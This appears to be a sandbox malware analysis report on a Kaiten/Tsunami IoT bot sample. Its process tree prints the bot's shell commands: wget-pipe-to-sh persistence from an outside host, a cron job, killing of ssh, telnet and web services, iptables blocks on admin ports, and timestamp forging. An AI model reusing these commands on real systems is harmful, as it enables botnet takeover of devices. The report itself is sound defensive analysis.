Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
11s -
platform
debian-9_mips -
resource
debian9-mipsbe-20231222-en -
resource tags
arch:mipsimage:debian9-mipsbe-20231222-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
22/12/2023, 15:13
Static task
static1
General
-
Target
d47a5da273175a5971638995146e8056
-
Size
44KB
-
MD5
d47a5da273175a5971638995146e8056
-
SHA1
a3dc8373171b19d410e9d63f4924425c082589ea
-
SHA256
ad9162326a496844c139082232e33015bca4fcd4d90c4747f0c356fd95a8891a
-
SHA512
86c1f4fceaef41bae7fd9c5ba561fbc316f66d74e4c1da2c92e8601a725e2eed73fa58cbc04e9455b9caabe01ed3ae89608c83e9d36596171f8444064e078110
-
SSDEEP
768:qRhqau1AvhmBFWWJCRgAatS7YeD6CLPvR8IwKKaU3amTkfzaJgGlzDpyuR1JT13c:QhqauKhALAgV0YSxhvw6CaevVcuRK3
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/713-1-0x00400000-0x00460a94-memory.dmp family_kaiten2 -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc File opened for modification /etc/resolv.conf -
Enumerates running processes
Discovers information about currently running processes on the system
-
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/12/stat killall File opened for reading /proc/77/stat killall File opened for reading /proc/1/stat killall File opened for reading /proc/333/stat killall File opened for reading /proc/17/stat killall File opened for reading /proc/12/stat killall File opened for reading /proc/122/stat killall File opened for reading /proc/36/stat killall File opened for reading /proc/1/environ systemctl File opened for reading /proc/698/cmdline killall File opened for reading /proc/5/stat killall File opened for reading /proc/797/stat killall File opened for reading /proc/330/stat killall File opened for reading /proc/3/stat killall File opened for reading /proc/15/stat killall File opened for reading /proc/850/stat killall File opened for reading /proc/37/stat killall File opened for reading /proc/4/stat killall File opened for reading /proc/21/stat killall File opened for reading /proc/109/stat killall File opened for reading /proc/876/stat killall File opened for reading /proc/794/stat killall File opened for reading /proc/706/cmdline killall File opened for reading /proc/74/stat killall File opened for reading /proc/10/stat killall File opened for reading /proc/73/stat killall File opened for reading /proc/378/stat killall File opened for reading /proc/76/stat killall File opened for reading /proc/230/stat killall File opened for reading /proc/328/stat killall File opened for reading /proc/858/stat killall File opened for reading /proc/19/stat killall File opened for reading /proc/11/stat killall File opened for reading /proc/109/stat killall File opened for reading /proc/700/stat killall File opened for reading /proc/15/stat killall File opened for reading /proc/121/stat killall File opened for reading /proc/16/stat killall File opened for reading /proc/11/stat killall File opened for reading /proc/filesystems killall File opened for reading /proc/333/stat killall File opened for reading /proc/700/stat killall File opened for reading /proc/670/stat killall File opened for reading /proc/13/stat killall File opened for reading /proc/379/stat killall File opened for reading /proc/760/stat killall File opened for reading /proc/706/cmdline killall File opened for reading /proc/19/stat killall File opened for reading /proc/122/cmdline killall File opened for reading /proc/18/stat killall File opened for reading /proc/5/stat killall File opened for reading /proc/4/stat killall File opened for reading /proc/698/cmdline killall File opened for reading /proc/762/stat killall File opened for reading /proc/680/stat killall File opened for reading /proc/763/stat killall File opened for reading /proc/1/environ systemctl File opened for reading /proc/1/stat killall File opened for reading /proc/filesystems killall File opened for reading /proc/762/stat killall File opened for reading /proc/378/stat killall File opened for reading /proc/698/stat killall File opened for reading /proc/150/stat killall File opened for reading /proc/794/stat killall -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/udevd0.pid d47a5da273175a5971638995146e8056
Processes
-
/tmp/d47a5da273175a5971638995146e8056/tmp/d47a5da273175a5971638995146e80561⤵
- Writes file to tmp directory
PID:713 -
/bin/shsh -c "killall -9 tcpdump > /dev/null 2>&1 &"2⤵PID:714
-
-
/bin/shsh -c "killall -9 strace > /dev/null 2>&1 &"2⤵PID:717
-
-
/bin/shsh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "2⤵PID:720
-
-
/bin/shsh -c "nvram commit > /dev/null 2>&1"2⤵PID:722
-
-
/bin/shsh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"2⤵PID:725
-
-
/bin/shsh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "2⤵PID:730
-
/bin/chmodchmod 755 /etc/persistent/rc.poststart3⤵PID:732
-
-
-
/bin/shsh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "2⤵PID:734
-
-
/bin/shsh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"2⤵PID:735
-
-
/bin/shsh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"2⤵PID:738
-
-
/bin/shsh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"2⤵PID:744
-
-
/bin/shsh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"2⤵PID:747
-
-
/bin/shsh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"2⤵PID:749
-
-
/bin/shsh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"2⤵PID:751
-
-
/bin/shsh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"2⤵PID:753
-
-
/bin/shsh -c "killall -9 telnetd > /dev/null 2>&1 &"2⤵PID:756
-
-
/bin/shsh -c "service httpd stop > /dev/null 2>&1 &"2⤵PID:758
-
-
/bin/shsh -c "service telnetd stop > /dev/null 2>&1 &"2⤵PID:761
-
-
/bin/shsh -c "service sshd stop > /dev/null 2>&1 &"2⤵PID:764
-
-
/bin/shsh -c "killall -9 telnetd > /dev/null 2>&1 &"2⤵PID:767
-
-
/bin/shsh -c "killall -9 utelnetd > /dev/null 2>&1 &"2⤵PID:771
-
-
/bin/shsh -c "killall -9 dropbear > /dev/null 2>&1 &"2⤵PID:776
-
-
/bin/shsh -c "killall -9 sshd > /dev/null 2>&1 &"2⤵PID:780
-
-
/bin/shsh -c "killall -9 minihttpd > /dev/null 2>&1 &"2⤵PID:783
-
-
/bin/shsh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"2⤵PID:786
-
-
/bin/shsh -c "nvram set httpd_enable=0 > /dev/null 2>&1"2⤵PID:792
-
-
/bin/shsh -c "nvram set http_enable=0 > /dev/null 2>&1"2⤵PID:798
-
-
/bin/shsh -c "killall -9 httpd > /dev/null 2>&1 &"2⤵PID:802
-
-
/bin/shsh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"2⤵PID:804
-
-
/bin/shsh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"2⤵PID:807
-
-
/bin/shsh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"2⤵PID:809
-
-
/bin/shsh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"2⤵PID:812
-
-
/bin/shsh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"2⤵PID:815
-
-
/bin/shsh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"2⤵PID:817
-
-
/bin/shsh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"2⤵PID:823
-
-
/bin/shsh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"2⤵PID:826
-
-
/bin/shsh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"2⤵PID:830
-
-
/bin/shsh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"2⤵PID:832
-
-
/bin/shsh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"2⤵PID:835
-
-
/bin/shsh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"2⤵PID:838
-
-
/bin/shsh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"2⤵PID:840
-
-
/bin/shsh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"2⤵PID:843
-
-
/bin/shsh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"2⤵PID:846
-
-
/bin/shsh -c "killall -9 arm > /dev/null 2>&1 &"2⤵PID:849
-
-
/bin/shsh -c "killall -9 mips > /dev/null 2>&1 &"2⤵PID:852
-
-
/bin/shsh -c "killall -9 mipsel > /dev/null 2>&1 &"2⤵PID:854
-
-
/bin/shsh -c "killall -9 powerpc > /dev/null 2>&1 &"2⤵PID:856
-
-
/bin/shsh -c "killall -9 ppc > /dev/null 2>&1 &"2⤵PID:860
-
-
/bin/shsh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"2⤵PID:863
-
-
/bin/shsh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"2⤵PID:865
-
-
/bin/shsh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"2⤵PID:867
-
-
/bin/shsh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"2⤵PID:869
-
-
/bin/shsh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"2⤵PID:873
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"2⤵PID:876
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"2⤵PID:878
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"2⤵PID:880
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"2⤵PID:883
-
-
/bin/shsh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"2⤵PID:890
-
-
/bin/shsh -c "chmod 700 /tmp/d47a5da273175a5971638995146e8056 > /dev/null 2>&1 &"2⤵PID:893
-
-
/bin/shsh -c "touch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e8056"2⤵PID:895
-
/usr/bin/touchtouch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e80563⤵PID:898
-
-
-
/bin/shsh -c "(crontab -l | grep -v \"/tmp/d47a5da273175a5971638995146e8056\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"2⤵PID:899
-
-
/bin/shsh -c "echo \"* * * * * /tmp/d47a5da273175a5971638995146e8056 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"2⤵PID:908
-
-
/bin/shsh -c "crontab /var/run/.x001804289383"2⤵PID:910
-
/usr/bin/crontabcrontab /var/run/.x0018042893833⤵PID:911
-
-
-
/usr/bin/killallkillall -9 tcpdump1⤵
- Reads runtime system information
PID:716
-
/usr/bin/killallkillall -9 strace1⤵
- Reads runtime system information
PID:719
-
/bin/catcat /mnt/Config/S1_01timezone1⤵PID:740
-
/bin/grepgrep -v derpcity1⤵PID:741
-
/bin/grepgrep -v wireless1⤵PID:742
-
/bin/rmrm -rf /var/run/pty1⤵PID:750
-
/bin/rmrm -rf /tmp/pty1⤵PID:752
-
/usr/bin/killallkillall -9 telnetd1⤵
- Reads runtime system information
PID:757
-
/usr/sbin/serviceservice httpd stop1⤵PID:760
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:765
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:769
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
PID:774
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:810
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:824
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
PID:836
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
PID:847
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
PID:858
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
PID:871
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
PID:884
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
PID:897
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵
- Enumerates kernel/hardware configuration
PID:906
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket2⤵PID:912
-
-
/usr/sbin/serviceservice telnetd stop1⤵PID:763
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:768
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:773
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
PID:814
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
PID:828
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
PID:841
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
PID:851
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
PID:862
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
PID:875
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
PID:891
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
PID:900
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵
- Enumerates kernel/hardware configuration
PID:909
-
-
/usr/sbin/serviceservice sshd stop1⤵PID:766
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:772
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵PID:777
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
PID:782
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
PID:818
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
PID:833
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
PID:844
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
PID:857
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
PID:870
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
PID:881
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
PID:896
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
PID:907
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵PID:913
-
-
/usr/bin/killallkillall -9 telnetd1⤵
- Reads runtime system information
PID:770
-
/usr/bin/killallkillall -9 utelnetd1⤵PID:775
-
/usr/bin/killallkillall -9 dropbear1⤵
- Reads runtime system information
PID:779
-
/usr/bin/killallkillall -9 sshd1⤵
- Reads runtime system information
PID:781
-
/usr/bin/killallkillall -9 minihttpd1⤵
- Reads runtime system information
PID:785
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:788
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:789
-
/bin/catcat /var/run/thttpd.pid1⤵PID:791
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:794
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:796
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:800
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:801
-
/usr/bin/killallkillall -9 httpd1⤵
- Reads runtime system information
PID:803
-
/bin/catcat /var/run/httpd.pid1⤵PID:806
-
/bin/rmrm -rf /var/run/wgsh1⤵PID:808
-
/bin/rmrm -rf /var/run/bbsh1⤵PID:811
-
/bin/rmrm -rf /var/run/tty01⤵PID:813
-
/bin/rmrm -rf /var/run/tty21⤵PID:816
-
/bin/rmrm -rf /var/run/tty31⤵PID:822
-
/bin/rmrm -rf /var/run/tty41⤵PID:825
-
/bin/rmrm -rf /var/run/tty51⤵PID:829
-
/bin/rmrm -rf /var/run/tty61⤵PID:831
-
/bin/rmrm -rf /tmp/tty01⤵PID:834
-
/bin/rmrm -rf /tmp/tty21⤵PID:837
-
/bin/rmrm -rf /tmp/tty31⤵PID:839
-
/bin/rmrm -rf /tmp/tty41⤵PID:842
-
/bin/rmrm -rf /tmp/tty51⤵PID:845
-
/bin/rmrm -rf /tmp/tty61⤵PID:848
-
/usr/bin/killallkillall -9 arm1⤵
- Reads runtime system information
PID:850
-
/usr/bin/killallkillall -9 mips1⤵
- Reads runtime system information
PID:853
-
/usr/bin/killallkillall -9 mipsel1⤵
- Reads runtime system information
PID:855
-
/usr/bin/killallkillall -9 powerpc1⤵
- Reads runtime system information
PID:859
-
/usr/bin/killallkillall -9 ppc1⤵
- Reads runtime system information
PID:861
-
/usr/bin/killallkillall -9 daemon.armv4l.mod1⤵PID:864
-
/usr/bin/killallkillall -9 daemon.i686.mod1⤵
- Reads runtime system information
PID:866
-
/usr/bin/killallkillall -9 daemon.mips.mod1⤵
- Reads runtime system information
PID:868
-
/usr/bin/killallkillall -9 daemon.mipsel.mod1⤵
- Reads runtime system information
PID:872
-
/bin/rmrm -rf "/tmp/.xs/*"1⤵PID:874
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j DROP1⤵PID:877
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 23 -j DROP1⤵PID:879
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 80 -j DROP1⤵PID:882
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 8080 -j DROP1⤵PID:889
-
/bin/chmodchmod 700 /tmp/d47a5da273175a5971638995146e80561⤵PID:894
-
/usr/bin/crontabcrontab -l1⤵PID:902
-
/bin/grepgrep -v /tmp/d47a5da273175a5971638995146e80561⤵PID:903
-
/bin/grepgrep -v "no cron"1⤵PID:904
-
/bin/grepgrep -v lesshts/run.sh1⤵PID:905
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
87B
MD5e9edd49b68669411a5e0ee7edbeb022a
SHA183dac91e569f69ea4a4325b7fb979721bb13f07d
SHA256cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892
SHA512da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2
-
Filesize
67B
MD5b6fb99b9dfae83d8c9e22fbd1a8af4d3
SHA1c7db997d9bdf3c834ed84197d364d831b0fd4022
SHA256a31b0c1174d871ee9b40c4806399517de9c02f6913003053fe25d961bf60ada9
SHA5127ae9e7e3881bb6ae8d597af40cb0f269f62b2b436050692c54d30f74e414a02e647d9d524e7b6bd3fed984b89345e4993f3efaddb47389d47fb4da5003baa548